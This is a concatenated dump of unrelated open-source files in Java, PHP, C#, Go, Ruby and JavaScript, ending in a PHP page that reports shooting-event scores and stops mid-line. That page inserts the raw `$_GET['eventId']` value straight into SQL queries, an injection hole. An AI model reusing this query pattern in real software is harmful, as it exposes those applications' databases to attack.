File(FileLoader.class.getClassLoader().getResource(name) .toURI()); } }
opencadc/apps
cadc-upload-manager/src/test/java/ca/nrc/cadc/ulm/client/FileLoader.java
Java
gpl-3.0
4,358
/******************************************************************************* * This file is part of Minebot. * * Minebot is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * Minebot is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with Minebot. If not, see <http://www.gnu.org/licenses/>. *******************************************************************************/ package net.famzangl.minecraft.minebot.build.block; import net.famzangl.minecraft.minebot.ai.BlockItemFilter; import net.minecraft.item.ItemBlock; import net.minecraft.item.ItemStack; /** * A filter that filters for half slabs. * * @author michael * */ public class SlabFilter extends BlockItemFilter { private final SlabType type; public SlabFilter(SlabType type) { super(type.slabBlock); this.type = type; } @Override protected boolean matchesItem(ItemStack itemStack, ItemBlock item) { return super.matchesItem(itemStack, item) && (itemStack.getItemDamage() & 7) == type.meta; } @Override public int hashCode() { final int prime = 31; int result = super.hashCode(); result = prime * result + (type == null ? 0 : type.hashCode()); return result; } @Override public boolean equals(Object obj) { if (this == obj) { return true; } if (!super.equals(obj)) { return false; } if (getClass() != obj.getClass()) { return false; } final SlabFilter other = (SlabFilter) obj; if (type != other.type) { return false; } return true; } @Override public String getDescription() { return type.toString().toLowerCase() + " slabs"; } }
iAmRinzler/minebot
Minebot/src/net/famzangl/minecraft/minebot/build/block/SlabFilter.java
Java
gpl-3.0
2,030
/* * Licensed to the Apache Software Foundation (ASF) under one * or more contributor license agreements. See the NOTICE file * distributed with this work for additional information * regarding copyright ownership. The ASF licenses this file * to you under the Apache License, Version 2.0 (the * "License"); you may not use this file except in compliance * with the License. You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, * software distributed under the License is distributed on an * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY * KIND, either express or implied. See the License for the * specific language governing permissions and limitations * under the License. */ package org.apache.sshd.agent.unix; import java.io.IOException; import java.io.InterruptedIOException; import java.util.Queue; import java.util.concurrent.ArrayBlockingQueue; import java.util.concurrent.ExecutorService; import java.util.concurrent.Future; import java.util.concurrent.atomic.AtomicBoolean; import org.apache.sshd.agent.common.AbstractAgentProxy; import org.apache.sshd.common.SshException; import org.apache.sshd.common.util.buffer.Buffer; import org.apache.sshd.common.util.buffer.ByteArrayBuffer; import org.apache.sshd.common.util.threads.ThreadUtils; import org.apache.tomcat.jni.Local; import org.apache.tomcat.jni.Pool; import org.apache.tomcat.jni.Socket; import org.apache.tomcat.jni.Status; /** * A client for a remote SSH agent */ public class AgentClient extends AbstractAgentProxy implements Runnable { private final String authSocket; private final long pool; private final long handle; private final Buffer receiveBuffer; private final Queue<Buffer> messages; private Future<?> pumper; private final AtomicBoolean open = new AtomicBoolean(true); public AgentClient(String authSocket) throws IOException { this(authSocket, null, false); } public AgentClient(String authSocket, ExecutorService executor, boolean shutdownOnExit) throws IOException { this.authSocket = authSocket; setExecutorService((executor == null) ? ThreadUtils.newSingleThreadExecutor("AgentClient[" + authSocket + "]") : executor); setShutdownOnExit((executor == null) ? true : shutdownOnExit); try { pool = Pool.create(AprLibrary.getInstance().getRootPool()); handle = Local.create(authSocket, pool); int result = Local.connect(handle, 0); if (result != Status.APR_SUCCESS) { throwException(result); } receiveBuffer = new ByteArrayBuffer(); messages = new ArrayBlockingQueue<Buffer>(10); ExecutorService service = getExecutorService(); pumper = service.submit(this); } catch (IOException e) { throw e; } catch (Exception e) { throw new SshException(e); } } @Override public boolean isOpen() { return open.get(); } @Override public void run() { try { byte[] buf = new byte[1024]; while (isOpen()) { int result = Socket.recv(handle, buf, 0, buf.length); if (result < Status.APR_SUCCESS) { throwException(result); } messageReceived(new ByteArrayBuffer(buf, 0, result)); } } catch (Exception e) { if (isOpen()) { log.warn(e.getClass().getSimpleName() + " while still open: " + e.getMessage()); } else { if (log.isDebugEnabled()) { log.debug("Closed client loop exception", e); } } } finally { try { close(); } catch (IOException e) { if (log.isDebugEnabled()) { log.debug(e.getClass().getSimpleName() + " while closing: " + e.getMessage()); } } } } protected void messageReceived(Buffer buffer) throws Exception { Buffer message = null; synchronized (receiveBuffer) { receiveBuffer.putBuffer(buffer); if (receiveBuffer.available() >= 4) { int rpos = receiveBuffer.rpos(); int len = receiveBuffer.getInt(); receiveBuffer.rpos(rpos); if (receiveBuffer.available() >= 4 + len) { message = new ByteArrayBuffer(receiveBuffer.getBytes()); receiveBuffer.compact(); } } } if (message != null) { synchronized (messages) { messages.offer(message); messages.notifyAll(); } } } @Override public void close() throws IOException { if (open.getAndSet(false)) { Socket.close(handle); } if ((pumper != null) && isShutdownOnExit() && (!pumper.isDone())) { pumper.cancel(true); } super.close(); } @Override protected synchronized Buffer request(Buffer buffer) throws IOException { int wpos = buffer.wpos(); buffer.wpos(0); buffer.putInt(wpos - 4); buffer.wpos(wpos); synchronized (messages) { try { int result = Socket.send(handle, buffer.array(), buffer.rpos(), buffer.available()); if (result < Status.APR_SUCCESS) { throwException(result); } if (messages.isEmpty()) { messages.wait(); } return messages.poll(); } catch (InterruptedException e) { throw (IOException) new InterruptedIOException(authSocket + ": Interrupted while polling for messages").initCause(e); } } } /** * transform an APR error number in a more fancy exception * * @param code APR error code * @throws java.io.IOException the produced exception for the given APR error number */ private void throwException(int code) throws IOException { throw new IOException( org.apache.tomcat.jni.Error.strerror(-code) + " (code: " + code + ")"); } }
Niky4000/UsefulUtils
projects/ssh/apache_mina/apache-sshd-1.2.0/sshd-core/src/main/java/org/apache/sshd/agent/unix/AgentClient.java
Java
gpl-3.0
6,427
<?php /****************************************************************************** * * * This file is part of RPB Calendar, a Wordpress plugin. * * Copyright (C) 2014 Yoann Le Montagner <yo35 -at- melix.net> * * * * This program is free software: you can redistribute it and/or modify * * it under the terms of the GNU General Public License as published by * * the Free Software Foundation, either version 3 of the License, or * * (at your option) any later version. * * * * This program is distributed in the hope that it will be useful, * * but WITHOUT ANY WARRANTY; without even the implied warranty of * * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * * GNU General Public License for more details. * * * * You should have received a copy of the GNU General Public License * * along with this program. If not, see <http://www.gnu.org/licenses/>. * * * ******************************************************************************/ require_once(RPBCALENDAR_ABSPATH . 'models/abstract/customposteditlist.php'); /** * Model for the table showing the list of event categories. */ class RPBCalendarModelCategoryList extends RPBCalendarAbstractModelCustomPostEditList { public function __construct() { parent::__construct(); $this->loadTrait('Category'); $this->loadTrait('AdminPageURLs'); } }
yo35/rpb-calendar
models/categorylist.php
PHP
gpl-3.0
1,899
using System.Runtime.InteropServices; using System.Security; using System; using System.Runtime.Remoting.Contexts; using System.Runtime.Remoting; using System.Runtime.Remoting.Activation; namespace System.Runtime.Remoting.Proxies { /// <summary>Indicates that an object type requires a custom proxy.</summary> [ComVisibleAttribute(true)] [SecurityCriticalAttribute()] [AttributeUsageAttribute(AttributeTargets.Class, AllowMultiple = false, Inherited = true)] public class ProxyAttribute : Attribute, IContextAttribute { public ProxyAttribute() { throw new NotImplementedException(); } /// <summary>Creates either an uninitialized <see cref="T:System.MarshalByRefObject" /> or a transparent proxy, depending on whether the specified type can exist in the current context.</summary><returns>An uninitialized <see cref="T:System.MarshalByRefObject" /> or a transparent proxy.</returns><param name="serverType">The object type to create an instance of. </param><PermissionSet><IPermission class="System.Security.Permissions.FileIOPermission, mscorlib, Version=2.0.3600.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" version="1" Unrestricted="true" /><IPermission class="System.Security.Permissions.ReflectionPermission, mscorlib, Version=2.0.3600.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" version="1" Flags="MemberAccess" /><IPermission class="System.Security.Permissions.SecurityPermission, mscorlib, Version=2.0.3600.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" version="1" Flags="ControlEvidence, Infrastructure" /></PermissionSet> [SecurityCriticalAttribute()] public virtual MarshalByRefObject CreateInstance(Type serverType) { throw new NotImplementedException(); } /// <summary>Creates an instance of a remoting proxy for a remote object described by the specified <see cref="T:System.Runtime.Remoting.ObjRef" />, and located on the server.</summary><returns>The new instance of remoting proxy for the remote object that is described in the specified <see cref="T:System.Runtime.Remoting.ObjRef" />.</returns><param name="objRef">The object reference to the remote object for which to create a proxy. </param><param name="serverType">The type of the server where the remote object is located. </param><param name="serverObject">The server object. </param><param name="serverContext">The context in which the server object is located. </param><PermissionSet><IPermission class="System.Security.Permissions.SecurityPermission, mscorlib, Version=2.0.3600.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" version="1" Flags="Infrastructure" /></PermissionSet> [SecurityCriticalAttribute()] public virtual RealProxy CreateProxy(ObjRef objRef, Type serverType, object serverObject, Context serverContext) { throw new NotImplementedException(); } /// <summary>Checks the specified context.</summary><returns>The specified context.</returns><param name="ctx">The context to be verified.</param><param name="msg">The message for the remote call.</param><PermissionSet><IPermission class="System.Security.Permissions.SecurityPermission, mscorlib, Version=2.0.3600.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" version="1" Flags="Infrastructure" /></PermissionSet> [ComVisibleAttribute(true)] [SecurityCriticalAttribute()] public bool IsContextOK(Context ctx, IConstructionCallMessage msg) { throw new NotImplementedException(); } /// <summary>Gets properties for a new context.</summary><param name="msg">The message for which the context is to be retrieved.</param><PermissionSet><IPermission class="System.Security.Permissions.SecurityPermission, mscorlib, Version=2.0.3600.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" version="1" Flags="Infrastructure" /></PermissionSet> [SecurityCriticalAttribute()] [ComVisibleAttribute(true)] public void GetPropertiesForNewContext(IConstructionCallMessage msg) { throw new NotImplementedException(); } } }
zebraxxl/CIL2Java
StdLibs/corlib/System/Runtime/Remoting/Proxies/ProxyAttribute.cs
C#
gpl-3.0
4,267
package script import ( evbus "github.com/asaskevich/EventBus" "github.com/mudler/artemide/pkg/context" plugin "github.com/mudler/artemide/plugin" jww "github.com/spf13/jwalterweatherman" ) // Script construct the container arguments from the boson file type Script struct{} // Process builds a list of packages from the boson file func (s *Script) Register(bus *evbus.EventBus, context *context.Context) { //returns args and volumes to mount bus.Subscribe("artemide:start", Start) //Subscribing to artemide:start, Hello will be called bus.Subscribe("artemide:artifact:recipe:script:event:after_unpack", afterUnpackHandler) //Subscribing to artemide:artifact:recipe:script:event:after_unpack, the After unpack handler } func afterUnpackHandler() { jww.DEBUG.Printf("afterUnpackHandler() called") } func Start() { jww.DEBUG.Printf("[recipe] Script is available") } func init() { plugin.RegisterRecipe(&Script{}) }
mudler/artemide
plugin/recipe/script/script.go
GO
gpl-3.0
978
class KuiristoWeb # # Recipe # head '/recipe/:source/:x/:id.raw' do |source,x,id| src = Kuiristo.source(source) # Find recipe and get rawid row = DB[:recipes].select(:rawid) .first(:source => src::ID, :id => id.to_i) not_found if row.nil? # Ensure data is found! # Get raw data row = DB[:rawdata].select(:updated) .first(:source => src::ID, :id => row[:rawid]) last_modified row[:updated] end get '/recipe/:source/:x/:id.raw' do |source,x,id| src = Kuiristo.source(source) # Find recipe and get rawid row = DB[:recipes].select(:rawid) .first(:source => src::ID, :id => id.to_i) not_found if row.nil? # Ensure data is found! # Get raw data row = DB[:rawdata].select(:zdata, :updated) .first(:source => src::ID, :id => row[:rawid]) last_modified row[:updated] data = Zlib::Inflate.inflate(row[:zdata]) content_type :text begin JSON.parse(data) content_type :json rescue JSON::ParserError end data end head '/recipe/:source/:x/:id.:fmt' do |source,x,id,fmt| src = Kuiristo.source(source) row = DB[:recipes].select(:updated) .first(:source => src::ID, :id => id.to_i) not_found if row.nil? # Ensure data is found! not_found if ![ 'xml', 'html' ].include?(fmt) last_modified row[:updated] end get '/recipe/:source/:x/:id.:fmt' do |source,x,id,fmt| src = Kuiristo.source(source) row = DB[:recipes].select(:zxml, :updated) .first(:source => src::ID, :id => id.to_i) not_found if row.nil? # Ensure data is found! xmltxt = Zlib::Inflate.inflate(row[:zxml]) last_modified row[:updated] case fmt when 'xml' content_type :xml xmltxt when 'html' # Recipe recipe = Kuiristo::Recipe.from_xml(xmltxt) # Recipe profil iprofils = DB[:recipe_ingredient] .left_join(:ingredients, :id => :ingredient) .where(:source => src::ID, :recipe => id.to_i) .select(:profil) .map(:profil) profil = VEGPROFILS.find(proc {[ 'unknown', 'Inconnu' ]}) {|k, v| iprofils.include?(k) } profil = [ 'ambiguous', 'Ambigu' ] if profil[0].nil? # Recipe categories tags = DB[:recipe_category] .left_join(:categories_for_recipes, :id => :category) .where(:source => src::ID, :recipe => id) .select(:id, :group, :name) .all # Render title recipe.name erb :recipe, :locals => { :recipe => recipe, :profil => profil, :tags => tags, } else not_found end end end
sdalu/kuiristo
app/recipe.rb
Ruby
gpl-3.0
3,314
OJ.importCss('nw.components.NwTray'); OJ.extendComponent( 'NwTray', [OjComponent], { '_props_' : { 'actuator' : null, 'allowSlide' : false, 'tray' : null }, '_template' : 'nw.components.NwTray', '_is_open' : false, // '_tray_anim' : null, '_constructor' : function(/*actuator, allowSlide = false unless native and mobile*/){ this._super(OjComponent, '_constructor', []); this._processArguments(arguments, { 'actuator' : undefined, 'allowSlide' : OJ.is_mobile && NW.isNative }); }, '_startTrayAnim' : function(tray_amount, content_amount){ var easing = OjEasing.STRONG_OUT, dir = OjMove.X; this._stopTrayAnim(); this._tray_anim = new OjTweenSet( new OjMove(this.panel, dir, tray_amount, 250, easing), new OjMove(this.container, dir, content_amount, 250, easing) ); this._tray_anim.addEventListener(OjTweenEvent.COMPLETE, this, '_onAnimComplete'); this._tray_anim.start(); }, '_stopTrayAnim' : function(){ this._unset('_tray_anim'); }, '_updateActuatorListeners' : function(action){ if(this._actuator){ this._actuator[action + 'EventListener'](OjUiEvent.PRESS, this, '_onActuatorClick'); } }, '_updateContainerListeners' : function(action){ this.container[action + 'EventListener'](OjUiEvent.DOWN, this, '_onTrayBlur'); }, '_updateDragListeners' : function(action){ if(this._actuator){ this._actuator[action + 'EventListener'](OjDragEvent.START, this, '_onActuatorDragStart'); this._actuator[action + 'EventListener'](OjDragEvent.MOVE, this, '_onActuatorDragMove'); } }, '_onActuatorClick' : function(evt){ this.toggleTray(); }, '_onActuatorDragMove' : function(evt){ }, '_onActuatorDragStart' : function(evt){ }, '_onAnimComplete' : function(evt){ this._stopTrayAnim(); if(this._callback){ this._callback(); this._callback = null; } }, '_onTrayBlur' : function(evt){ this.hideTray(); }, 'hideTray' : function(callback){ if(!this._is_open){ if(callback){ callback(); } return; } this._callback = callback; this._startTrayAnim(this.width * -.6, 0); this._updateContainerListeners(OjActionable.REMOVE); this._is_open = false; }, 'showTray' : function(callback){ if(this._is_open){ if(callback){ callback(); } return; } this._callback = callback; var w = this.width * .6; this.panel.width = w; this.panel.x = -1 * w; this._startTrayAnim(0, w); this._is_open = true; }, 'toggleTray' : function(/*val*/){ if(this._is_open){ this.hideTray(); } else{ this.showTray(); } }, '=actuator' : function(val){ if(this._actuator == val){ return; } this._updateActuatorListeners(OjActionable.REMOVE); this._updateDragListeners(OjActionable.REMOVE); this._actuator = val; this._updateActuatorListeners(OjActionable.ADD); if(this._allowSlide){ this._updateDragListeners(OjActionable.ADD); } }, '=allowSlide' : function(val){ if(this._allowSlide == val){ return; } this._updateDragListeners((this._allowSlide = val) ? OjActionable.ADD : OjActionable.REMOVE); }, '=tray' : function(val){ this.panel.removeAllChildren(); if(this._tray = val){ this.panel.appendChild(val); } }, '.trayPosition' : function(){ return this.container.x; }, '=trayPosition' : function(val){ var w = this.width * .6; this.panel.x = Math.max(Math.min(val - w, 0), -(w)); this.container.x = Math.min(Math.max(val, 0), w); // this._updateContainerListeners(OjActionable.ADD); } }, { '_TAGS' : ['tray'] } );
NuAge-Solutions/NW
src/js/components/NwTray.js
JavaScript
gpl-3.0
4,779
<?php include ('config.php'); include ('init.php'); include ('include.php'); $eventId = $_GET['eventId']; //get quantity of stations from event $query = 'SELECT stations FROM shootevent WHERE id='. $eventId; $result = dbquery($query); $row = mysqli_fetch_assoc($result); $stations = $row['stations']; ?> <!DOCTYPE html> <html> <head> <title>Event Report</title> <?php include 'header.php'; ?> <style> td{ padding: 0px 3px; text-align:center; } td.firstName{ text-align:right; } td.lastName{ text-align:left; } tr:nth-child(even) { background: #DDD; } </style> </head> <body> <h1>Event Report</h1> <?php //put if event exists statement here /*echo '<h2> Editing Shooters in the '; $query = 'SELECT eventType FROM shootevent WHERE id='. $eventId; $result = dbquery($query); $row = mysqli_fetch_assoc($result); $eventType = $row['eventType']; echo $eventType; echo ' Event of the '; */ $query = 'SELECT shootevent.eventType, registeredshoot.nscaShootId, registeredshoot.shootName, club.clubName FROM registeredshoot JOIN shootevent ON registeredshoot.id=shootevent.shootId JOIN club ON registeredshoot.clubId=club.id WHERE shootevent.id = ' . $eventId; $result = dbquery($query); $row = mysqli_fetch_array($result); $clubName = $row['clubName']; $shootName = $row['shootName']; $eventType = $row['eventType']; echo $clubName . '</br>'; echo $shootName; if($row['nscaShootId']){ echo ' - ' . $row['nscaShootId'] . '</br>'; }else{ echo '</br>'; } echo $eventType . ' Event </br>'; ?> <?php //total event Shooters $query = 'SELECT COUNT(*) AS numberOfShooters FROM eventshooter WHERE shooteventid =' . $eventId; $result = dbquery($query); $row = mysqli_fetch_assoc($result); $totalShooters = $row['numberOfShooters'] . ' Shooters </br>'; $query = 'SELECT * FROM shooter JOIN eventshooter ON eventshooter.shooterId = shooter.id WHERE eventshooter.shootEventId =' . $eventId . ' ORDER BY shooter.lastName ASC'; $result = dbquery($query); //table all BY LASTNAME ASC echo '<table border=\'1\'><thead><td>NSCA ID</td><td></td><td></td><td></td><td>Score</td></thead>'; while ($row = mysqli_fetch_array($result)){ echo '<tr>'; echo '<td class=\'nscaId\'>' . $row['nscaId'] . '</td>'; echo '<td class=\'firstName\'>' . $row['firstName'] . '</td>'; echo '<td class=\'lastName\'>' . $row['lastName'] . ' ' . $row['suffix'] . '</td>'; echo '<td class=\'class\'>' . $row['class'] . '</td>'; echo'</td>'; //get score $query2 = 'SELECT SUM(targetsBroken) AS totalScore FROM shootereventstationscore WHERE eventShooterId=' . $row['id']; $result2 = dbquery($query2); $row2 = mysqli_fetch_assoc($result2); echo '<td class=\'score\'>' . $row2['totalScore'] . '</td>'; } echo '</table>'; $scoreReportData = array(); function makeTable ($eventId,$searchBy,$searchParameter/*,$headersArray*/){ //this is shit drawTable( mergeshooterArrayAwards( giveAwards( getShooters($eventId, $searchBy, $searchParameter), $searchBy, $searchParameter), $searchParameter), $searchBy, $searchParameter); } //end makeTable function getShooters($eventId, $searchBy, $searchParameter){ //number of shooters by searchBy if ($searchBy == 'class' || $searchBy == 'concurrent'){ $whereClause = 'WHERE eventshooter.' . $searchBy . '=\'' . $searchParameter . '\''; }else if ($searchBy == 'concurrentLady'){ $whereClause = 'WHERE shooter.nscaConcurrentLady =\'' . $searchParameter . '\''; } $query = 'SELECT COUNT(*) AS numberOfShooters FROM shooter JOIN eventshooter ON eventshooter.shooterId = shooter.id ' . $whereClause . ' AND eventshooter.shootEventId =' . $eventId; $result = dbquery($query); $row = mysqli_fetch_assoc($result); $shooterCount = $row['numberOfShooters']; //get shooters by searchBy $query = 'SELECT * FROM shooter JOIN eventshooter ON eventshooter.shooterId = shooter.id ' . $whereClause . ' AND eventshooter.shootEventId =' . $eventId; $result = dbquery($query); $shooterArray = array(); $i = 0; while ($row = mysqli_fetch_array($result)){ //ust add score to array instead of creating new array? $shooterArray[$i]['firstName'] = $row['firstName']; $shooterArray[$i]['lastName'] = $row['lastName'] . ' ' . $row['suffix']; $shooterArray[$i]['nscaId'] = $row['nscaId']; //merged into nsca report $shooterArray[$i]['state'] = $row['state']; //merged into nsca report $shooterArray[$i]['shooterId'] = $row['shooterId'];//merged into nsca report //get scores $query2 = 'SELECT SUM(targetsBroken) AS totalScore FROM shootereventstationscore WHERE eventShooterId=' . $row['id']; $result2 = dbquery($query2); $row2 = mysqli_fetch_assoc($result2); $shooterArray[$i]['score'] = $row2['totalScore']; $i++; } $getShootersReturn = array($shooterArray,$shooterCount); return $getShootersReturn; } //end getShooters function giveAwards($getShooterReturn,$searchBy,$searchParameter){ //might be possible to do this with a strategic db query //sort by scores DESC $shooterArray = $getShooterReturn[0]; $shooterCount = $getShooterReturn[1]; if ($shooterCount > 0){ foreach ($shooterArray as $shooter){ $tmp[] = $shooter['score']; } array_multisort($tmp, SORT_DESC, $shooterArray); //put one of each score in array in descending order $scoreList = array(); $last = 10000; foreach ($shooterArray as $shooter){ $current = $shooter['score']; if ($current < $last){ $scoreList[] = $current; $last = $current; } } } if($searchBy == 'class'){ //determine punches/award based on amount of shooters if ($shooterCount >= 0 && $shooterCount <= 2){ $punches = array(); } if ($shooterCount >= 3 && $shooterCount <= 9){ $punches = array(1); } if ($shooterCount >= 10 && $shooterCount <= 14){ $punches = array(2,1); } if ($shooterCount >= 15 && $shooterCount <= 29){ $punches = array(4,2,1); } if ($shooterCount >= 30 && $shooterCount <= 44){ $punches = array(4,4,2,1); } if ($shooterCount >= 45){ $punches = array(4,4,4,3,2,1); } $i = 0; //location in punches and scoreList $j = 0; //location in shooter table while ($i < sizeof($punches)){ if ($shooterArray[$j]['score'] == $scoreList[$i]){ $shooterArray[$j]['awardClass'] = $searchParameter . strval($i+1); $shooterArray[$j]['punches'] = $punches[$i]; $j++; }else { $i++; } } while ($i >= sizeof($punches) && $j < $shooterCount){ $shooterArray[$j]['awardClass'] = $shooterArray[$j]['punches'] = '-'; $j++; }; }else if($searchBy == 'concurrent' || $searchBy == 'concurrentLady'){ //this will be more complicated when I implement points system, but for now this will do. //add shooter count conditions here for concurrent points $concurrentPoints = array(4,3,2,1); $i = 0; //location in punches and scoreList $j = 0; //location in shooter table while ($i < sizeof($concurrentPoints)){ if (isset($shooterArray[$j]['score']) && $shooterArray[$j]['score'] == $scoreList[$i]){ $shooterArray[$j]['awardConcurrent'] = $searchParameter . strval($i+1); $shooterArray[$j]['concurrentPoints'] = $concurrentPoints[$i]; $j++; }else { $i++; } } while ($i >= sizeof($concurrentPoints) && $j < $shooterCount){ $shooterArray[$j]['awardConcurrent'] = $shooterArray[$j]['concurrentPoints'] = '-'; $j++; }; }//else if($searchBy == 'concurrentLady'){ //append award instead of settign award //} return array($shooterArray,$shooterCount); } //end giveAwards function mergeshooterArrayAwards($shooterArrayAndShooterCount){ // $mergeshooterArrayAwards = array($mergedData, $shooterArray) //return $mergeshooterArrayAwardsReturn; return $shooterArrayAndShooterCount; }//end mergeshooterArrayAwards function drawTable($shooterArrayAndShooterCount, $searchBy, $searchParameter){ $shooterArray = $shooterArrayAndShooterCount[0]; $shooterCount = $shooterArrayAndShooterCount[1]; //dump shooterArray into scoreReport array //global $scoreReportData; //$scoreReportData = array_merge($scoreReportData, $shooterArray); //draw table if ($shooterCount > 0){ if ($searchBy == 'M'){ $searchBy = 'Master'; } $shooterCountString = $shooterCount; if ($shooterCountString == 1){ $shooterCountString .= ' Shooter'; }else{ $shooterCountString .= ' Shooters'; } if ($searchBy == 'class'){ echo '<table border=\'1\'><thead><td colspan=\'3\'>' . $searchParameter . ' Class - ' . $shooterCountString . '</td><td>Award</td><td>Punches</td></thead>'; for ($k = 0; $k < $shooterCount ; $k++){ echo '<tr>'; echo '<td class=\'firstName\'>' . $shooterArray[$k]['firstName'] . '</td>'; echo '<td class=\'lastName\'>' . $shooterArray[$k]['lastName'] . '</td>'; echo '<td class=\'score\'>' . $shooterArray[$k]['score'] . '</td>'; echo '<td class=\'awardClass\'>' . $shooterArray[$k]['awardClass'] . '</td>'; echo '<td class=\'punches\'>' . $shooterArray[$k]['punches'] . '</td>'; echo '</tr>'; } echo '</table>'; }else if ($searchBy == 'concurrent' || $searchBy == 'concurrentLady' ){ if ($searchBy == 'concurrentLady'){ $searchParameter = 'LY'; } echo '<table border=\'1\'><thead><td colspan=\'3\'>' . $searchParameter . ' Concurrent - ' . $shooterCountString . '</td><td>Award</td></thead>'; for ($k = 0; $k < $shooterCount ; $k++){ echo '<tr>'; echo '<td class=\'firstName\'>' . $shooterArray[$k]['firstName'] . '</td>'; echo '<td class=\'lastName\'>' . $shooterArray[$k]['lastName'] . '</td>'; echo '<td class=\'score\'>' . $shooterArray[$k]['score'] . '</td>'; echo '<td class=\'awardClass\'>' . $shooterArray[$k]['awardConcurrent'] . '</td>'; echo '</tr>'; } } } //return $shooterArray; } //end drawTable //end function makeClassTableh /*makeTable($eventId,'class','M'); makeTable($eventId,'class','AA'); makeTable($eventId,'class','A'); makeTable($eventId,'class','B'); makeTable($eventId,'class','C'); makeTable($eventId,'class','D'); makeTable($eventId,'class','E'); makeTable($eventId,'concurrent','SJ'); makeTable($eventId,'concurrent','JR'); makeTable($eventId,'concurrent','VT'); makeTable($eventId,'concurrent','SV'); makeTable($eventId,'concurrent','SSV'); makeTable($eventId,'concurrentLady','1'); //makeTable($eventId,'concurrent',''); //open concurrency - to calculate All-X points */ //HOA //get shooters with hoa //find highest score //calculate percentage winnings //calculate money winnings //HIC //get shooters with hic per class //same as above //lewis //get shooters with lewis //get shooterCount with lewis //get lewis groups //order shooters by score ascending **important // //Lewis Calculation // //these queries should be moved to getShooters $query = ' SELECT lewisGroups FROM shootevent WHERE id=' . $eventId; $result = dbquery($query); $row = mysqli_fetch_assoc($result); $lewisGroups = $row['lewisGroups']; if(!isset($lewisGroups) || $lewisGroups == 0){ echo 'Lewis Groups not set'; } else{ $searchBy = 'lewisOption'; $searchParameter = 1; $whereClause = 'WHERE eventshooter.' . $searchBy . '=\'' . $searchParameter . '\''; $query = 'SELECT COUNT(*) AS numberOfShooters FROM shooter JOIN eventshooter ON eventshooter.shooterId = shooter.id ' . $whereClause . ' AND eventshooter.shootEventId =' . $eventId; $result = dbquery($query); $row = mysqli_fetch_assoc($result); $shooterCount = $row['numberOfShooters']; //get shooters by searchBy $query = 'SELECT * FROM shooter JOIN eventshooter ON eventshooter.shooterId = shooter.id ' . $whereClause . ' AND eventshooter.shootEventId =' . $eventId; $result = dbquery($query); $i = 0; while ($row = mysqli_fetch_array($result)){ $shooterArray[$i]['firstName'] = $row['firstName']; $shooterArray[$i]['lastName'] = $row['lastName'] . ' ' . $row['suffix']; //get scores $query2 = 'SELECT SUM(targetsBroken) AS totalScore FROM shootereventstationscore WHERE eventShooterId=' . $row['id']; $result2 = dbquery($query2); $row2 = mysqli_fetch_assoc($result2); $shooterArray[$i]['score'] = $row2['totalScore']; $i++; } foreach ($shooterArray as $val){ $tmp[] = $val['score']; } array_multisort($tmp, SORT_ASC, $shooterArray); $shooterCountModular = $shooterCount % $lewisGroups; //left over shooters if broken into even groups $groupShooterCount = ( $shooterCount - $shooterCountModular ) / $lewisGroups; //Lewis group size if evenly divisible $groupCounts = array(); //size of each Lewis group from lowest score to highest $x = 1; //$x - group number while ($x <= $lewisGroups){ if ($shooterCountModular > 0){ $groupCounts[$x] = $groupShooterCount + 1; $shooterCountModular -= 1; }else { $groupCounts[$x] = $groupShooterCount; } $x++; } //end while //assign groupings $x = 0; $y = $lewisGroups; //look at each value in the $lewisGroupShooterCount array foreach ($groupCounts as $shootersLeftInGroup){ //set shooters' group while ($shootersLeftInGroup > 0 ){ $shooterArray[$x]['lewisGroup'] = $y; $shootersLeftInGroup -= 1; $x += 1; } $y -= 1; } //groupings for $originalGroup = $lastGroup = $shooterArray[0]['lewisGroup']; $lastScore = $currentGroup = -1; //set to impossible $scoresBelowLine = $scoresAboveLine = 0; foreach ($shooterArray as $shooter){ $currentScore = $shooter['score']; $currentGroup = $shooter['lewisGroup']; //echo $lastScore; if ($currentScore == $lastScore){ if ($scoresBelowLine == 0 && $scoresAboveLine == 0){ $originalGroup = $lastGroup; } if ($currentGroup == $originalGroup){ $scoresBelowLine += 1; }else{ $scoresAboveLine += 1; $highestGroup = $currentGroup; } }else { //if scores are not the same if ($scoresBelowLine == 0 && $scoresBelowLine == 0){ //capture case, no ties before this, skip to next score }else if ($scoresBelowLine >= $scoresAboveLine){ $lewisTies[$lastScore] = $originalGroup; // echo ' v'; }else { $lewisTies[lastScore] = $lastGroup; // echo ' ^'; $scoresAboveLine = $scoresBelowLine = 0; } $scoresAboveLine = $scoresBelowLine = 0; } $lastScore = $currentScore; $lastGroup = $currentGroup; //echo ' --- ' . $currentScore . ' - ' . $currentGroup . ' - ' . $originalGroup . ' - ' . $lastGroup . ' - ' . $scoresBelowLine . ' - ' . $scoresAboveLine; //echo '</br>'; } //end outer foreach //changing groups foreach ($shooterArray as &$shooter){ foreach ($lewisTies as $score => $newGroup){ if ($shooter['score'] == $score ){ $shooter['lewisGroup'] = $newGroup; break; } } } //end changing groups unset($shooter); $query = 'SELECT lewisCost FROM shootevent WHERE id =' . $eventId; $result = dbquery($query); $row = mysqli_fetch_assoc($result); $lewisCost = $row['lewisCost']; $totalLewisMoney = $lewisCost * $shooterCount; $groupLewisMoney = $totalLewisMoney / $lewisGroups; $x = 1; while ($x <= $lewisGroups){ $highestScore = 0; $awardSplit = 0; foreach ($shooterArray as $shooter){ //the last score meeting the if statement should always be highest else there's a problem if($shooter['lewisGroup'] == $x){ $highestScore = $shooter['score']; } } foreach ($shooterArray as $shooter){ if ($shooter['score'] == $highestScore){ $awardSplit++; } } //convert lewis group number to letter (NSCA practice) $lewisClassLetter = chr($x + 64); foreach ($shooterArray as &$shooter){ if($shooter['lewisGroup'] == $x){ if ($shooter['score'] == $highestScore){ $shooter['lewisPercentage'] = round((1 / $awardSplit), 3, PHP_ROUND_HALF_UP) * 100; $shooter['lewisMoney'] = round(((1 / 